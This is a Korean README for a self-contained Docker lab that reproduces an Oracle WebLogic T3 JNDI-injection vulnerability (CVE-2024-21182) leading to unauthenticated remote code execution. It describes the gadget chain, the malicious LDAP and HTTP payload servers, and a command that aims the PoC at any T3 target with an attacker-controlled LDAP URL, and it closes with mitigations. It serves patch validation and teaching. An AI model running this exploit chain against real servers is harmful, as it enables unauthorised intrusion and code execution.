
재현 가능한 Docker 랩 — CVE-2024-21182: Oracle WebLogic T3/IIOP OpaqueReference JNDI 주입 → 비인증 RCE (CVE-2023-21839 패치 우회 계열). 단일 명령어 validate.sh.
자체 포함된(self-contained) 단일 명령 Docker 실습 랩으로, Oracle WebLogic Server의 OpaqueReference JNDI 주입 취약점 계열(CVE-2024-21182, CVE-2023-21839의 패치 우회)을 재현 및 검증하고 이를 비인증 원격 코드 실행으로 전환합니다.
⚠️ 승인된 보안 연구, 교육, 패치 검증 용도로만 사용하세요. 면책 조항을 참조하세요. 이 랩 또는 본인이 소유한 시스템에서만 실행하세요.
CVE-2024-21182는 Oracle WebLogic Server Core 구성 요소의 비인증 취약점으로, T3 / IIOP 프로토콜(기본 포트 7001)을 통해 접근할 수 있습니다. 공격자가 조작된 "reference" 객체를 서버의 JNDI 트리에 바인딩하고 공격자가 제어하는 URL에 대한 서버 측 JNDI 조회를 트리거할 수 있습니다. 이는 RCE로 이어지는 전형적인 JNDI 주입입니다.
| CVE | CVE-2024-21182 |
| 제품 | Oracle WebLogic Server (Core) |
| 영향받는 버전(Oracle 공식 기준) | 12.2.1.4.0, 14.1.1.0.0 |
| 수정 버전 | Oracle 2024년 10월 Critical Patch Update |
| 공격 경로 | 네트워크, 비인증, T3/IIOP (포트 7001) |
| CISA KEV | 예 (야생에서 실제 악용됨) |
| 분류 | CVE-2023-21839의 패치 우회 (OpaqueReference JNDI 주입) |
WebLogic reference 객체는 lookup() 중에 ObjectFactory에 의해 서버 측에서 해석되며, 이 ObjectFactory는 공격자가 제공한 URL에 대해 중첩된 JNDI 조회를 수행합니다:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← attacker-controlled, server-side
CVE-2023-21839는 weblogic.jndi.internal.ForeignOpaqueReference를 통해 이 지점에 도달했으며, Oracle은 이후 이를 차단했습니다. CVE-2024-21182는 weblogic.ejb.container.internal.AggregatableOpaqueReference를 통해 동일한 외부 조회에 도달함으로써 해당 차단을 우회합니다. 이 클래스의 private referent 필드는 리플렉션을 통해 weblogic.application.naming.MessageDestinationReference로 설정됩니다.
이 랩은 vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, 번들 JDK 1.8.0_151)을 사용합니다. 이는 자유롭게 재배포할 수 있는 유일한 취약 WebLogic 이미지이기 때문입니다. CVE-2024-21182가 공식적으로 명시한 버전(12.2.1.4.0 / 14.1.1.0.0)은 Oracle 라이선스가 필요하므로 여기에 게시할 수 없습니다.
결과적으로 발생하는 한계를 정직하게 밝히면:
AggregatableOpaqueReference + MessageDestinationReference)를 사용하는 OpaqueReference JNDI 주입 → RCE 취약점 계열을 충실히 재현합니다.com.sun.jndi.ldap.object.trustURLCodebase=true가 기본값(원격 코드베이스 클래스 로딩)이므로 여기서는 작동합니다. 최신 JDK에서는 주입이 여전히 발생하지만(SSRF), RCE는 원격 코드베이스 대신 WebLogic 클래스패스에 이미 존재하는 가젯이 필요합니다.요구 사항: Docker + Docker Compose v2. 약 3GB 이미지 다운로드. Apple Silicon에서는 이미지가 linux/amd64 에뮬레이션으로 실행됩니다(콜드 부팅이 느리며 2~5분 소요).
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # waits for boot, fires the exploit, prints PASS/FAIL
./validate.sh 실행 결과의 예상 마지막 출력:
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
정리:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC client ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(in weblogic bind() + lookup() (victim) server-side JNDI lookup returns Reference
container) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP codebase)
loads + instantiates → static{} runs `id`
poc/CVE_2024_21182.java — T3 클라이언트. 악성 AggregatableOpaqueReference를 생성하여 bind()한 다음 lookup()으로 서버 측 해석을 트리거합니다. 매개변수: <t3-host:port> <ldap-url>. 가젯 클래스가 WebLogic의 전체 모듈 세트에 있고(재배포 가능한 thin client에는 없음) Oracle jar를 여기에 포함할 수 없으므로, validate.sh가 WebLogic 컨테이너 내부에서 이를 컴파일합니다.exploit/ldap_server.py — JNDI Reference를 반환하는 최소한의 악성 LDAP 서버와 팩토리 클래스를 호스팅하는 HTTP 서버. attacker 컨테이너에서 실행되며 WebLogic에서 서비스 이름 attacker로 접근할 수 있습니다.exploit/Exploit.java / Exploit.class — 페이로드 팩토리(Java 8 바이트코드). 정적 초기화자(static initializer)가 id / 를 실행하고 출력을 victim 내부의 에 기록합니다. 설계상 무해합니다. 명령을 변경하려면 해당 파일을 수정한 후 를 실행하세요.표시되는 ClassCastException (Exploit cannot be cast to ObjectFactory)는 예상된 것이며 무해합니다(cosmetic) — 정적 초기화자(페이로드)가 이미 실행된 후에 발생하기 때문입니다.
테스트 권한이 있는 모든 T3 엔드포인트를 대상으로 PoC를 실행하세요:
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false가 설정된 경우입니다. SSRF는 여전히 가능하며, 클래스패스 가젯을 통한 RCE도 가능할 수 있습니다.weblogic.security.net.ConnectionFilterImpl)와 호스트 방화벽으로 T3/IIOP(7001)를 제한하세요.com.sun.jndi.ldap.object.trustURLCodebase=false를 유지하세요(현재 JDK의 기본값). 원격 코드베이스 RCE 경로를 차단합니다(주입 경로는 차단하지 않음).*OpaqueReference 유형의 T3 bind를 모니터링하세요.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference 계열)이 프로젝트는 승인된 보안 테스트, 방어 검증, 교육을 위해 게시되었습니다. 취약한 소프트웨어는 격리된 Docker 랩에서 실행됩니다. 본인이 소유하지 않았거나 명시적으로 테스트 권한이 없는 시스템에 이러한 기술을 사용하지 마십시오. 작성자는 오용에 대한 책임을 지지 않습니다. LICENSE를 참조하세요.
uname -a/tmp/RCE_PROOF_CVE_2024_21182exploit/build.sh